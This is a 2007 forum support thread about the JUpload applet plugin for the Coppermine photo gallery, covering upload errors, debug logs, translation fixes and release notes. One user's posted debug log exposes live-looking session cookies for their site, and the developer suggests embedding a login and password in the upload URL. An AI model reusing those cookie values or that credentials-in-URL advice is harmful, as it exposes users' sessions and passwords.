As I said above: coperminevis is a piracy app. The bloke who created it tells people that it's OK to remove the footer and even encourages people to do so. It isn't legal! That's why I said that it's a piracy app. The only thing that we could do against this is not to give support to people who remove it. That's what I said previously and that's why I got flamed for by Shane (http://forum.coppermine-gallery.net/index.php?topic=43432.msg208191#msg208191).

Etienne: please do not support Shane (or anybody else who has removed the footer) at all unless they restore it. Zero tolerance!
Title: Re: Upload applet (JUpload)
Post by: choupette549 on May 31, 2007, 04:23:37 pm
Hi Etienne,

I have just seen that you worked a lot on your plugin.

So I installed version 2.4.3 but there is a little problem for me.

So I deleted the old version with the plugin manager and uploaded the new version.

When I try it's OK. But when I put something in the configuration page
such as highqualitypreview to 0 or maxchunksize to 2000 then it bugs.

I mean when I click on the jupload link then it ask "would you execute the applet ?"
and it display now "emptyapplet" as name for the applet in place of "jupload".
Then Firefox or IE bugs and I have to reinstall the plugin so that it works again.

Can you help me ?

Thanks a lot.


Quentin
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on May 31, 2007, 07:08:28 pm
When I try it's OK. But when I put something in the configuration page
such as highqualitypreview to 0 or maxchunksize to 2000 then it bugs.

I'll try it.

FYI: you can remove the configuration file, by FTP:
/YourCoppermineInstallation/plugins/jupload/user/config.inc.php


I mean when I click on the jupload link then it ask "would you execute the applet ?"
and it display now "emptyapplet" as name for the applet in place of "jupload".
Then Firefox or IE bugs and I have to reinstall the plugin so that it works again.

emptyApplet is Ok: I've hidden this applet, which does nothing in the page. The code around it tests that java is correctly installed. Doing this HTML/HS code is not hard, but would need to be changed each time I add a parameter to the applet. So I did it once, with a stable applet: emptyApplet
I'll see if I can rename it, so that users see JUpload instead as emptyApplet.

Then, the JUpload applet is called by the standard APPLET tag.



To sum-up: does it work, or not ?

Etienne
Title: Re: Upload applet (JUpload)
Post by: choupette549 on May 31, 2007, 07:50:04 pm
To sum up :

It works when I install the plugin and add nothing to the configuration page.

But, I wil add some parameters such as :

highqualitypreview = 0
maxchunkfile = 2000

and when I put this it doesn't work.

The applet loading fails in IE and firefox and I have
to use the taskmanager to end the programs.

Thanks for your quick answer
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 01, 2007, 10:52:13 am
But, I wil add some parameters such as :

highqualitypreview = 0
maxchunkfile = 2000

and when I put this it doesn't work.

Thanks for precisions.

  This is exactly why I suggested to remove the configuration file.

You now have a better way to do it: download the newly available 2.4.4 version. It corrects this bug. Please tell me if it's Ok for you, before I 'officialy' announce this version.

Etienne
Title: Re: Upload applet (JUpload)
Post by: choupette549 on June 01, 2007, 04:40:25 pm
Thanks tienne.

It seems to be ok.

I will test your new version in more details when I have some time
and give you some feedback.

Just a question : can you explain me which syntax I have
to use in /user/user.inc.php so that I can override any 'standard' text coming from the plugin ?

I think it isn't explain in the readme.txt nor in the documentation on your site and
what I tried gived me some errors.


Thanks and have a nice weekend
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 01, 2007, 06:04:29 pm
Just a question : can you explain me which syntax I have
to use in /user/user.inc.php so that I can override any 'standard' text coming from the plugin ?

I think it isn't explain in the readme.txt nor in the documentation on your site and
what I tried gived me some errors.

It's a standard PHP file. Just open it, it should be really easy to update ...

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 04, 2007, 10:50:02 am
Hi,

  I just delivered the 2.5.0 version.

Main improvement: the file size, when the applet resized or rotated pictures is now the same as if Coppermine would create the file itself.

  That is: 8 times smaller than before !

Etienne
Title: Re: Upload applet (JUpload)
Post by: bit bit spears on June 05, 2007, 05:43:04 am
hello etienne!

i have installed this plugin successfully, but whenever i try to upload an image it gives this error:

22:42:07.855 [INFO] Debug level set to 0
22:42:08.338 [WARN] Invalid int value: , using default value: 0
22:42:08.353 [INFO] JUpload plugin for coppermine version 2.5.0
22:42:23.044 [INFO] Debug level set to 1
22:42:23.069 [ERROR] Upload stopped with errors
22:42:23.070 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 302 Found
22:42:23.070 [ERROR]    at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:517)
22:42:23.070 [ERROR]    at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:684)
22:42:23.070 [ERROR]    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
22:42:23.071 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 302 Found
22:42:23.071 [ERROR]    at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:517)
22:42:23.071 [ERROR]    at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:684)
22:42:23.071 [ERROR]    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
22:42:28.308 [ERROR] An error occured during log management (readingHttpBody)
22:42:28.309 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: The server HTTP response doesn't success criteria. The upload failed.
22:42:28.309 [ERROR]    at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:938)
22:42:28.309 [ERROR]    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:496)

is there any way you can help me?

your support is much appreciated,

matt.
Title: Re: Upload applet (JUpload)
Post by: Hein Traag on June 05, 2007, 09:35:11 am
matt.. start reading this thread from this post http://forum.coppermine-gallery.net/index.php?topic=43432.msg208601#msg208601 (http://forum.coppermine-gallery.net/index.php?topic=43432.msg208601#msg208601)
it might help you with your problem, at least the error message looks the same.

Hein
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 05, 2007, 12:06:06 pm
22:42:23.070 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 302 Found

 :-\

I fear it's not a simple one!

HTTP 302 response code:
The requested resource resides temporarily under a different URI. Since the redirection might be altered on occasion, the client SHOULD continue to use the Request-URI for future requests. This response is only cacheable if indicated by a Cache-Control or Expires header field.

  Do you manage the server yourself ?   
1- If yes, you should take a look to your HTTP server conf.
2- If not, then the applet should read the server response, and use the Location: header content. It's not currently supported. A quick and dirty workaround, would be to update the upload_page.php script:
a) Put the applet in debug mode
b) Find the Location that should exist in the server response
c) Got to jupload/page/upload_page.php, and find the line above:
    '<PARAM NAME = "postURL" VALUE="$URL">'
d) Replace $URL by the URL you have found in the Location header

Would be better if you were in case 1...

Are you ?

Etienne
Title: Re: Upload applet (JUpload)
Post by: bit bit spears on June 05, 2007, 11:47:29 pm
hey etienne! for some reason it is finally working...but i've realized that there are many, MANY typos and grammatical erros within the java applet...do you know anyway that i can edit the applet to change the following:

image was correcly uploaded to server

the image is toot big!

thanks in advance,

matt.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 06, 2007, 10:05:08 am
hey etienne! for some reason it is finally working...but i've realized that there are many, MANY typos and grammatical erros within the java applet...do you know anyway that i can edit the applet to change the following:

image was correcly uploaded to server

the image is toot big!

thanks in advance,

matt.

Works now: 302 code is a temporary error. Seems like they stopped playing with your server config ...   

About translation: you seem to use the default language file. These two mistakes are now corrected, by copying the english translation (which is probably correct) onto the default one. It will be able in the next version.

To check translation:
http://etienne.lesgauthier.fr/wiki/doku.php?id=juploadenglish
 You should be able to update it. Please send me a mail if you do it.



Etienne
Title: Re: Upload applet (JUpload)
Post by: searchforme on June 08, 2007, 11:07:57 pm
etienne_sf this is such a great program,  its very user friendly & it would be very fast IF

'picture title' wouldnt be automatically entered, instead left blank.. is there a way i can edit or do something to change this? if i upload 200 images. which would be quick. it slows me down to hafta go in and delete every single picture title so it can be blank..

picture titles just makes my gallery a bit ugly.. can ya help me?

i noticed you chatted it up wit some1 dealing with picture titles:








The one thing I like about this plugin is that it adds the picture title for you so less modification is needed.

For example:

DJ_Pocholo_-_Que_Dios_Salve_A_Las_Vacas_Y_A_To2_Nosotros_Cd1_(Back)

What I want is:

DJ Pocholo - Que Dios Salve A Las Vacas Y A To2 Nosotros Cd1 (Back)

Hope this helps

Thanks ;D

It's clear.

  I'll add it to the next release.

Etienne
Title: Re: Upload applet (JUpload)
Post by: Vincs on June 09, 2007, 03:59:03 pm
My appel doesn't want to upload again...

Code: [Select]
15:54:40.140 [INFO] Debug level set to 0
15:54:40.250 [WARN] Invalid int value: , using default value: 0
15:54:40.250 [INFO] JUpload plugin for coppermine version 2.5.0
15:55:42.187 [INFO] Debug level set to 1
15:55:42.187 [ERROR] Upload arrt avec erreur
15:55:42.187 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): no file uploaded ()
15:55:42.187 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:533)
15:55:42.187 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:684)
15:55:42.187 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
15:55:42.203 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): no file uploaded ()
15:55:42.203 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:533)
15:55:42.203 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:684)
15:55:42.203 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
15:55:47.578 [INFO] Debug level set to 100
15:55:47.593 [DEBUG] =======================================================================
15:55:47.593 [DEBUG] ======= Parameters managed by DefaultUploadPolicy
15:55:47.593 [INFO] JUpload applet, version 3.0.2b3 ($Revision: 224 $) ($Date: 2007-06-01 08:21:37 +0000 (ven., 01 juin 2007) $), available at http://jupload.sourceforge.net/
15:55:47.593 [DEBUG] Java version: 1.6.0
15:55:47.593 [DEBUG] Cookie: fcbb39d482fff925ec93bd2d48866efd=265b50988f59b2742ea43709ad9c94e0; cpg143_data=YTo0OntzOjI6IklEIjtzOjMyOiIwZDA2NmI3ZWQ4YTMzN2UwZDU0MGZhNDE2M2Y0YjgzNSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJmcmVuY2giO3M6MzoibGl2IjthOjE6e2k6MDtzOjQ6IjEwMjgiO319; FRQSTR=19549310|19549310|19549310|19549310|19549310
15:55:47.609 [DEBUG] userAgent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
15:55:47.609 [DEBUG] List of all applet parameters:
15:55:47.609 [DEBUG]   language: fr
15:55:47.609 [DEBUG]   country:
15:55:47.609 [DEBUG] afterUploadURL: null
15:55:47.609 [DEBUG]   allowedFileExtensions: /jpg/jpeg/jpe/gif/png/bmp/jpc/jp2/jpx/jb2/swc/iff/asf/asx/mpg/mpeg/wmv/swf/avi/mov/mp3/midi/mid/wma/wav/ogg/psd/doc/txt/rtf/pdf/xls/pps/ppt/zip/gz/mdb/
15:55:47.609 [DEBUG] debug: 100
15:55:47.609 [DEBUG] filenameEncoding: null
15:55:47.609 [DEBUG] lang: fr
15:55:47.609 [DEBUG] maxChunkSize: 9223372036854775807
15:55:47.609 [INFO] maxFileSize  : 1024000
15:55:47.609 [DEBUG] nbFilesPerRequest: 1
15:55:47.609 [DEBUG] postURL: http://mpzportal.online.fr/index.php?file=jupload/jupload&action=add_picture
15:55:47.609 [DEBUG] serverProtocol: HTTP/1.1
15:55:47.609 [DEBUG] showLogWindow: false
15:55:47.609 [DEBUG] stringUploadSuccess: SUCCESS
15:55:47.609 [DEBUG] stringUploadError: ERROR: (.*)
15:55:47.609 [DEBUG] urlToSendErrorTo: http://mpzportal.online.fr/index.php?file=jupload/jupload&action=log_error
15:55:47.609 [DEBUG]
15:55:47.625 [DEBUG] ======= Parameters managed by PictureUploadPolicy
15:55:47.625 [DEBUG] highQualityPreview : true
15:55:47.625 [DEBUG] pictureCompressionQuality : 0.8
15:55:47.625 [DEBUG] maxPicWidth : 2048, maxPicHeight : 2048
15:55:47.625 [DEBUG] realMaxPicWidth : 2048, realMaxPicHeight : 2048
15:55:47.625 [DEBUG] storeBufferedImage : false
15:55:47.625 [DEBUG] targetPictureFormat : null
15:55:47.625 [DEBUG]
15:55:47.625 [DEBUG] ======= Parameters managed by CoppermineUploadPolicy
15:55:47.625 [DEBUG] albumId : 57
15:55:47.625 [DEBUG]
15:55:48.984 [DEBUG] Action : Envoyer
15:55:48.984 [DEBUG] Upload done by using the wjhk.jupload2.upload.FileUploadThreadHTTP class
15:55:48.984 [DEBUG] Timer started
15:55:49.000 [DEBUG] PicturePanel.paint(): offscreenImage is null
15:55:49.015 [DEBUG] file 0: content=63181 bytes, getAdditionnalBytesForUpload=489 bytes
15:55:49.015 [DEBUG] chunkHttpParam: jupart=0&jufinal=1
15:55:49.015 [DEBUG] Cookie: fcbb39d482fff925ec93bd2d48866efd=265b50988f59b2742ea43709ad9c94e0; cpg143_data=YTo0OntzOjI6IklEIjtzOjMyOiIwZDA2NmI3ZWQ4YTMzN2UwZDU0MGZhNDE2M2Y0YjgzNSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJmcmVuY2giO3M6MzoibGl2IjthOjE6e2k6MDtzOjQ6IjEwMjgiO319; FRQSTR=19549310|19549310|19549310|19549310|19549310
15:55:49.015 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
15:55:49.015 [DEBUG] Using non SSL socket, direct connection
15:55:49.062 [DEBUG] === main header (len=1053):
15:55:49.062 [DEBUG] POST /index.php?file=jupload/jupload&action=add_picture&album=57 HTTP/1.1\r\n
15:55:49.062 [DEBUG] Host: mpzportal.online.fr\r\n
15:55:49.062 [DEBUG] Accept: */*\r\n
15:55:49.062 [DEBUG] Connection: close\r\n
15:55:49.062 [DEBUG] Content-Type: multipart/form-data; boundary=---------------------------psom5lru9dg\r\n
15:55:49.062 [DEBUG] Content-Length: 64073\r\n
15:55:49.062 [DEBUG] Cookie: fcbb39d482fff925ec93bd2d48866efd=265b50988f59b2742ea43709ad9c94e0; cpg143_data=YTo0OntzOjI6IklEIjtzOjMyOiIwZDA2NmI3ZWQ4YTMzN2UwZDU0MGZhNDE2M2Y0YjgzNSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJmcmVuY2giO3M6MzoibGl2IjthOjE6e2k6MDtzOjQ6IjEwMjgiO319; FRQSTR=19549310|19549310|19549310|19549310|19549310\r\n
15:55:49.062 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] -----------------------------psom5lru9dg\r\n
15:55:49.062 [DEBUG] Content-Disposition: form-data; name="file"\r\n
15:55:49.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] jupload/jupload\r\n
15:55:49.062 [DEBUG] -----------------------------psom5lru9dg\r\n
15:55:49.062 [DEBUG] Content-Disposition: form-data; name="album"\r\n
15:55:49.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] 57\r\n
15:55:49.062 [DEBUG] -----------------------------psom5lru9dg\r\n
15:55:49.062 [DEBUG] Content-Disposition: form-data; name="action"\r\n
15:55:49.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] add_picture\r\n
15:55:49.062 [DEBUG] === main header end
15:55:49.062 [DEBUG] --- fileheader start (len=285):
15:55:49.062 [DEBUG] -----------------------------psom5lru9dg\r\n
15:55:49.062 [DEBUG] Content-Disposition: form-data; name="mimetype"\r\n
15:55:49.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] image/jpeg\r\n
15:55:49.062 [DEBUG] -----------------------------psom5lru9dg\r\n
15:55:49.062 [DEBUG] Content-Disposition: form-data; name="userpicture"; filename="SMDC0138.JPG"\r\n
15:55:49.062 [DEBUG] Content-Type: image/jpeg\r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] --- fileheader end
15:55:49.062 [DEBUG] in UploadFileData.uploadFile (amount:63181, getUploadLength(): 63181)
15:55:52.796 [DEBUG] --- filetail start (len=204):
15:55:52.796 [DEBUG] \r\n
15:55:52.796 [DEBUG] -----------------------------psom5lru9dg\r\n
15:55:52.796 [DEBUG] Content-Disposition: form-data; name="md5sum"\r\n
15:55:52.796 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
15:55:52.796 [DEBUG] \r\n
15:55:52.796 [DEBUG] 15dce42eb0192eab4b7478900466316d\r\n
15:55:52.796 [DEBUG] -----------------------------psom5lru9dg--\r\n
15:55:52.796 [DEBUG] --- filetail end
15:55:53.500 [DEBUG] -------- Response Headers Start --------
15:55:53.515 [DEBUG] HTTP/1.1 200 OK
15:55:53.515 [DEBUG] Date: Sat, 09 Jun 2007 13:55:34 GMT
15:55:53.515 [DEBUG] Server: Apache/ProXad [May 15 2007 17:32:34]
15:55:53.515 [DEBUG] X-Powered-By: PHP/4.4.3-dev
15:55:53.515 [DEBUG] Connection: close
15:55:53.515 [DEBUG] Content-Type: text/html
15:55:53.515 [DEBUG]
15:55:53.515 [DEBUG] --------- Response Headers End ---------
15:55:53.515 [DEBUG] HTTP status: 200 OK
15:55:54.750 [DEBUG] PicturePanel.paint(): offscreenImage is null
15:55:54.765 [ERROR] Upload arrt avec erreur
15:55:54.765 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): no file uploaded ()
15:55:54.765 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:533)
15:55:54.765 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:684)
15:55:54.765 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
15:55:54.765 [DEBUG] -------- Response Body Start --------
15:55:54.765 [DEBUG] Within upload_page
15:55:54.765 [DEBUG] ERROR: no file uploaded ()
15:55:54.765 [DEBUG] End of upload_picture.php
15:55:54.828 [DEBUG] --------- Response Body End ---------
15:55:54.828 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): no file uploaded ()
15:55:54.828 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:533)
15:55:54.828 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:684)
15:55:54.828 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
15:55:54.828 [DEBUG] FileUploadThread: within run().finally
15:55:56.250 [DEBUG] PicturePanel.paint(): offscreenImage is null
15:55:56.312 [DEBUG] JUploadPanel: after !fileUploadThread.isAlive()
Title: Re: Upload applet (JUpload)
Post by: choupette549 on June 09, 2007, 05:35:14 pm
Hi Etienne,

As promised I make some tests on your latest version.
There are a lot of improvements to your plugin.
Thanks for that.

I have a few remarks but of course you don't have to correct all these
within the week because I know the time it takes. It's just to mention it to you.
And if I can help you for something ask me.

So, is it possible to translate the following error that appears in english :
Error during applet initialization ! Have a look in your java console.

Is it also possible to translate what appears in the status bar :
done ==> pourcentage effectu
transfer rate ==> Taux de transfert
ETA ==> Temps restant

There is also a problem with displaying accent in french :
For example : strange caracters (like és for ) appears when the description of an albums
has accents and also in some of the applet messages like the quota error. Maybe the charset ?

For this last one, the quota error, I propose you to add some text like :
But the images already transfered are on the server.

and when this error occurs is it possible that the applet displays
the error but nevertheless go to the edit_uploaded_pics page ?


There is also an error in colModified = Modif le ==> Modifi le

At the end you added some filter when the user choose the pictures and
thats really great. But, if the user select "all files" then if he add
a non authorised file it rise no error. Only when the files have been
transfered to the server. In the previous versions it was not the case.
It displayed directly the error and for me that choice is better.

That's all :)


Quentin
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 11, 2007, 10:04:04 am
etienne_sf this is such a great program,  its very user friendly & it would be very fast IF

'picture title' wouldnt be automatically entered, instead left blank.. is there a way i can edit or do something to change this? if i upload 200 images. which would be quick. it slows me down to hafta go in and delete every single picture title so it can be blank..

Hi,

  You're right: I'll add a new config parameter, so that one can choose to have a default title from the picture filename, or have an empty one. Its now on my TODO list.

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 11, 2007, 10:07:17 am
15:55:54.828 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): no file uploaded ()

Hi,

  As written in the (very little) FAQ, this error often occurs when the file uploaded is bigger than the max upload size of your server.
  Check this page:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_gb


Etienne
Title: Re: Upload applet (JUpload)
Post by: Vincs on June 11, 2007, 10:11:51 am
It's not that when I tried to upload my pictures from my girlfriend home with a good connection that works.
But with mine who sucks it said no upload blahblahblah....
I tried with my neighbours wifi and it works too...
I presume it's because my connection is too slow.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 11, 2007, 10:27:59 am
Thanks for your tests.

Here is a first answer to them:

So, is it possible to translate the following error that appears in english :
Error during applet initialization ! Have a look in your java console.

Hum: this error should not be generated. Can you tell me

Is it also possible to translate what appears in the status bar :
done ==> pourcentage effectu
transfer rate ==> Taux de transfert
ETA ==> Temps restant

Added to my todo list.

There is also a problem with displaying accent in french :
For example : strange caracters (like és for ) appears when the description of an albums
has accents and also in some of the applet messages like the quota error. Maybe the charset ?

- Accents in album description: was Ok once upon a time  :-(
- Accents in error coming from Coppermine this is an ongoing job on he applet.

Added to my todo list.


For this last one, the quota error, I propose you to add some text like :
But the images already transfered are on the server.

This error message comes from Coppermine, not from my plugin. I can't manage this text in the plugin, as it can be updated and it is translated in various languages.

and when this error occurs is it possible that the applet displays
the error but nevertheless go to the edit_uploaded_pics page ?

Hum, right: is at least some pictures are correctly uploaded, the user should be redirected to the edit_uploaded_pics. The problem is: he'll then loose the list of pictures that are still to be displayed. So the edit_uploaded_pics should be displayed in a new window.

Added to my todo list.

There is also an error in colModified = Modif le ==> Modifi le

Corrected on the applet SVN. Will be available in the next version.


At the end you added some filter when the user choose the pictures and
thats really great. But, if the user select "all files" then if he add
a non authorised file it rise no error. Only when the files have been
transfered to the server. In the previous versions it was not the case.
It displayed directly the error and for me that choice is better.

Hum, hum: the user should not be allowed to change the file filter.

Added to my todo list.


Thanks for these comments
Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 11, 2007, 01:03:26 pm
It's not that when I tried to upload my pictures from my girlfriend home with a good connection that works.
But with mine who sucks it said no upload blahblahblah....
I tried with my neighbours wifi and it works too...
I presume it's because my connection is too slow.

You're right, your picture is 64kb long: it's probably not bigger that the max upload size of your server ...   ;)

Can you confirm, that in your different tests you use the same (or not):
- Computer
- Navigator
- Java version
- Web site
- Coppermine user
- picture (to upload on the server)

Etienne
Title: Re: Upload applet (JUpload)
Post by: Vincs on June 11, 2007, 02:16:44 pm
Yes yes it was on my laptop than same version same user same navigator etc and same pictures too...
Just different connections and connections speed...
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 11, 2007, 10:04:35 pm
You don't have permission to perform this operation.

If you're not connected, please login first


I get this error when trying to add captions to the photos after uploading. It works if I'm logged in as the admin, but regular members get this message.

  Thanks to the access on your site, I repeated the problem: your user may not have a personal gallery. In this case, you got the error you mentionned, after a successful upload.

In this configuration, the user may not update picture title, description... nor update the picture itself, like rotating it.
-> He must do no mistake. :-\

 Seems to me that the user should be allowed to update the properties for the picture he uploaded. At least title, description.

What do you think about it ?

Etienne
Title: Re: Upload applet (JUpload)
Post by: Iamatree on June 12, 2007, 12:55:56 pm
Yes, my users are not allowed personal galleries.

So, it is not really a problem with your plugin, but the way I have configured my gallery.

I guess there is no way to allow access to Registered members to change description, caption etc. of photos they themselves have uploaded?

What I don't understand is that it works when regularly uploading the photos.

Am I understanding this correctly?
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 12, 2007, 01:58:13 pm
Yes, my users are not allowed personal galleries.

So, it is not really a problem with your plugin, but the way I have configured my gallery.

I guess there is no way to allow access to Registered members to change description, caption etc. of photos they themselves have uploaded?

What I don't understand is that it works when regularly uploading the photos.

Am I understanding this correctly?

Yes, with this precision: the plugin could display something else than an error. It could, for instance, just display the newly uploaded pictures.

Etienne
Title: Re: Upload applet (JUpload)
Post by: Vincs on June 13, 2007, 08:57:01 pm
Still no news about making it works under .htaccess ?
It will be very helpful
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 14, 2007, 01:04:54 pm
Still no news about making it works under .htaccess ?
It will be very helpful

Hi,

  I have some problems to set up a password file: htpasswd just crash on my laptop :-(

Then, this issue seems not that important, as Coppermine already controls the user rights. Correct ?

BTW, you can try this:
- update the jupload/pages/upload_page.php
- Find the line containing < PARAM NAME = "postURL" VALUE="$URL"
- Replace $URL by the full path, like this:
http://login/password@servername/path/index.php?file=jupload/jupload&action=add_picture
 I don't remember the exact way to write it.

Or give me a SIMPLE passwordfile, with one user like coppermine/test, so that I test it. I imagine you just want basic authentication?

Etienne
Title: Re: Upload applet (JUpload)
Post by: Vincs on June 14, 2007, 04:18:26 pm
I'll contact you by mail... it will be more simple :p
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 15, 2007, 10:45:38 am
Vincs,

  Basic authentication is started. Will be available soon.


Here are some more comments on your tests:

So, is it possible to translate the following error that appears in english :
Error during applet initialization ! Have a look in your java console.

 Do you have more info ?

Is it also possible to translate what appears in the status bar :
done ==> pourcentage effectu
transfer rate ==> Taux de transfert
ETA ==> Temps restant

Corrected in the 2.5.1, about to be released

There is also a problem with displaying accent in french :
For example : strange caracters (like és for ) appears when the description of an albums
has accents and also in some of the applet messages like the quota error. Maybe the charset ?

I don't see any problem on my test machine.

 Do you have more info ?


There is also an error in colModified = Modif le ==> Modifi le

Corrected in the 2.5.1, about to be released


Etienne
Title: Re: Upload applet (JUpload)
Post by: choupette549 on June 15, 2007, 10:56:25 am
Hi,

Sorry for this late response but I had a lot
of work with my exams.

Quote
So, is it possible to translate the following error that appears in english :
Error during applet initialization ! Have a look in your java console.

It's very simple. You got this error when you click on cancel when
your browser ask you if you will execute the applet.


For the accents errors in french I will have a look this
weekend to give you more informations or maybe find it on my own.
In all cases, I will give you some feedback.

Thanks a lot for the work done on my test.


Quentin
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 15, 2007, 06:29:58 pm
So, is it possible to translate the following error that appears in english :
Error during applet initialization ! Have a look in your java console.

Added to the todo list of the applet. A lot of such strings are to be added this way... and they will !

Etienne
Title: 2.5.1 Release
Post by: etienne_sf on June 15, 2007, 07:56:43 pm
Hi,

  I just released the 2.5.1 version of the JUpload plugin for Coppermine.

Available here:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)


Changes:

Translation
Title: Re: Upload applet (JUpload)
Post by: garbs on June 15, 2007, 09:28:38 pm
Hello,

Subject: Album Drop Down Menu Sort
Question: After Selecting a category, next step is to select an album from the drop down menu. Is there a way to have the drop down menu sort alphabetically? The sort order of albums in the album drop down menu appear in the order they were added to the gallery. I have a long list of albums in multiple categories and am adding new albums quite often. Sorting alphabetically will make selecting the correct album much easier.

Subject: Album Name, Album Description, Update Album Button and Create Album Button
Question: I would like to remove the ability to modify or create albums for any registered user other than the administrator . I still want the administrator to have full modification and creation of albums as is currently enabled. Is this possible?
Title: Re: 2.5.1 Release
Post by: searchforme on June 16, 2007, 06:44:41 pm
Hi,

  I just released the 2.5.1 version of the JUpload plugin for Coppermine.



so far it works like a charm for me its very charming.. i love it man.. great program. convienent. fast. & user friendly , a gallery can explode with pics with this program in no time..

thanks etienne_sf
Title: Re: 2.5.1 Release
Post by: etienne_sf on June 16, 2007, 07:11:24 pm
so far it works like a charm for me its very charming.. i love it man.. great program. convienent. fast. & user friendly , a gallery can explode with pics with this program in no time..

thanks etienne_sf

 8)

Thanks for your comment !

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 16, 2007, 08:09:44 pm
Subject: Album Drop Down Menu Sort
Question: After Selecting a category, next step is to select an album from the drop down menu. Is there a way to have the drop down menu sort alphabetically? The sort order of albums in the album drop down menu appear in the order they were added to the gallery. I have a long list of albums in multiple categories and am adding new albums quite often. Sorting alphabetically will make selecting the correct album much easier.

Good idea!

  I'll add in the next version

Subject: Album Name, Album Description, Update Album Button and Create Album Button
Question: I would like to remove the ability to modify or create albums for any registered user other than the administrator . I still want the administrator to have full modification and creation of albums as is currently enabled. Is this possible?

This is already managed in Coppermine, and partially in JUPload:
- Go to the group configuration page (from the admin menu)
- Revoke the right for users other than the administrator to have their own gallery

  Then, in JUpload the user:
- May not create albums anymore
- May update the name/description of the album       :-\    Not sure it's really good. To be choosen.  Votes ?
- Will have a strange error after upload (unallowed page), see Iamatree messages.

The last one can be corrected in two ways:
